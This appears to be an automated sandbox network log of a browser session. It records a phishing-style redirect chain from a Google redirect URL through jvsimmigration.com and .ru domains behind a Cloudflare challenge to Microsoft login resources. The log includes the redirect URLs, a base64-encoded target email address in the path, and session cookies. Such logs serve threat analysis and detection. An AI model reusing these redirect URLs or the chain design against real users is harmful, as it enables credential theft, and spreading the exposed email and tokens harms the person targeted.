Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= HTTP/1.1Host: www.google.com.hkConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= HTTP/1.1Host: www.google.com.hkConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=pzaYP8J53vmNQTKBaLPlGzmHtsOVPbL-2H5YOZOhjdwDWheg13NOPqIYJNIXr6mjSgONZ64nyy2Vk4P_TiD3uuIg2xmAB8EZqb8TONhw-2Ev-xSNR0dKLMipx_4C_GCM0lTl6wgEbFonVpzL3DjkgFYxFYEf-sPP-vPftyu-eKhJQS_eaucMpJ4nHu2X4eqQULlo5w
Source: global traffic	HTTP traffic detected: GET /rNn4/ HTTP/1.1Host: wfdd.htqeuifpr.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://jvsimmigration.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wfdd.htqeuifpr.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wfdd.htqeuifpr.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wfdd.htqeuifpr.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wfdd.htqeuifpr.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://wfdd.htqeuifpr.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef8a58f8fb7c32b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: wfdd.htqeuifpr.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wfdd.htqeuifpr.ru/rNn4/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjV3YkJ6Q0RzQWV2MWQ0NXIrS2E1UWc9PSIsInZhbHVlIjoiajUrRHJYMndXS2NNaEdvWDVyTGFjcWNMODVhbkl1ZVVhODBVQUVwQjMySHIvQzh4WHVFcGhNMHNFc3JNdkZiTEVaWHM5NTU1dDNyT0pjUmlKMDBQRWl1MHU0bU83S2tvWHYxeUpZT3lxSUNOZ0ZrT0NULzhHRjJSUFR2SkFBL1YiLCJtYWMiOiJlYzcwMWYxMGRiZjlkYmY1ODYxMGE3YmYyYmZiMDMyYmMzODkxN2EwNWYyZGMwOGZhNDA2NGMzZjkxNGMwYTVmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhJQ1J2WndUaUhKZkZxOTkzbmpJUGc9PSIsInZhbHVlIjoiTDFLb1E5bVNvdkduQmNqemhzV0VaYUY2ZlB6SjRjTzllMURSQ1pPenNCcUJhcXFLWFZZS2F4TlpEWDk2c2tsZUhTOXZteTRFcGxTeGVLcG9OL010eGQxTUpMTCtKNDQ4TGdnT3NGdW1GRTQ3QTcyRi9Rays4VlNUVGNlZzBDc3ciLCJtYWMiOiI5NDA1YTNjYjExNTU1NmRhNzk2NTI4ODZjYTc0YjE3YTY5MTFiZWQ2NjkzYmQ4Zjg5OWNhYjc2Yzg5YjJkMDZhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef8a58f8fb7c32b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ef8a58f8fb7c32b/1733785601830/41dd0e98ab7a2936b7497e572c306edab0b4dd921b4bb87bfb765f5e9234b2ed/q59F5pnqC61ChKf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef8a58f8fb7c32b/1733785601830/V5veeFNqsgkcgGx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef8a58f8fb7c32b/1733785601830/V5veeFNqsgkcgGx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA HTTP/1.1Host: cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://wfdd.htqeuifpr.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://wfdd.htqeuifpr.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA HTTP/1.1Host: cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20= HTTP/1.1Host: jvsimmigration.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jvsimmigration.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com.hk
Source: global traffic	DNS traffic detected: DNS query: jvsimmigration.com
Source: global traffic	DNS traffic detected: DNS query: wfdd.htqeuifpr.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru
Source: global traffic	DNS traffic detected: DNS query: excel.office.com
Source: global traffic	DNS traffic detected: DNS query: www.microsoft365.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3291sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 23:06:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zq3rFptvME5qTeoKQxEbxJCwYERKArlkqjVqUsQGWX5CkCaZnEFNhvJy%2Bu6HOdC%2B16aKQEb7X1WfbX66Zxf4rabLugrdzj31gShryP4vKzaHX2ibDeQRlnMj7VCuZA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=14529&min_rtt=14521&rtt_var=4100&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2250&delivery_rate=195295&cwnd=252&unsent_bytes=0&cid=c36efc641a04d58f&ts=157&x=0"CF-Cache-Status: HITAge: 10456Server: cloudflareCF-RAY: 8ef8a5a20c1d0f5d-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1525&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1896&delivery_rate=1516095&cwnd=227&unsent_bytes=0&cid=68fb59ebdb24fbfe&ts=9694&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 23:06:44 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: R7ePJkUs/dN8lDrA5o1ynOF3pyo2i9OohoE=$0qmmkom93GD1YDuZServer: cloudflareCF-RAY: 8ef8a5ba793c435d-EWRalt-svc: h3=":443"; ma=86400
